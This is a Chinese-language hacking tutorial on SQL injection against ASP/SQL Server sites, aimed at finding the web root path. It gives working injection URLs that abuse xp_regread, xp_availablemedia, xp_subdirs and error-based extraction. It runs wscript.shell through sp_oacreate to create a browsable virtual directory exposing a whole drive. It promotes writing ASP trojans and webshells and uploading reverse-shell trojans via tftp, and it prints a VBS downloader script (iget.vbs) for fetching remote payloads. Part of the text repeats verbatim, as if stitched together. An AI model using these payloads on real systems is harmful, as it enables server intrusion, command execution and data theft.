SQL Server取得网站路径的几种方法及比较

方法四:

这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径

以下推荐，获取网页路径(通过存储过程达到对注册表的读取)：

利用内置存储过程 xp_regread(读取注册表键值，权限public)：

语句：http：//www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths

(path) values(@test)

1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中：

5 ;insert dirs exec master.dbo.xp_availablemedia;--

我们可以通过查询temp的内容来获得驱动器列表及相关信息

(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中：

5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--

优缺点分析:

很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.

缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).

方法四:

这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径

以下推荐，获取网页路径(通过存储过程达到对注册表的读取)：

利用内置存储过程 xp_regread(读取注册表键值，权限public)：

语句：http：//www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths

(path) values(@test)

IS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\

利用爆字段将数据库的值读出来：

语句：http：//www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回： Microsoft OLE DB Provider for

ODBC Drivers 错误 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 E：\www,,201 转换为数据类型为 int 的

列时发生语法错误。

这说明网页目录在E：\www，接下来也可以利用FSO直接写入ASP木马如果得不到网页目录，怎么办呢?前提你要猜到网站是否使用默认WEB，或者使用域名作为WEB。

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c： \inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e：\"’

在默认的WEB站点下创建一个虚拟目录E，指向E：盘下。

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c： \inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse’ 给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径，头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了，接下来工作应该由你来了。

哈哈,方法不错哟,通过注册表来读,方便快捷!

优缺点分析：

优点当然是方便快捷了。缺点是只能察看默认的iis站点的路径，如果不再默认的站点那就无能为力了(我用regsnape跟踪过)，如果在2003下那就是连默认的站点路径也不显示了!痛苦中顺便说两句， 实际上除了找网站路径的方法外，还是有别的方法来继续入侵的，比如说通过tftp来上传反弹木马，或者是通过写一个iget.vbs来下载你想要的东东

iget.vbs代码如下：

－－－－－－－－－start－－－－－－－－－－

Set xPost = createObject("Microsoft.XMLHTTP")

xPost.Open "GET",LCase(WScript.Arguments(0)),0

xPost.Send()

Set sGet = createObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile LCase(WScript.Arguments(1)),2

－－－－－－－－－－end－－－－－－－－－－－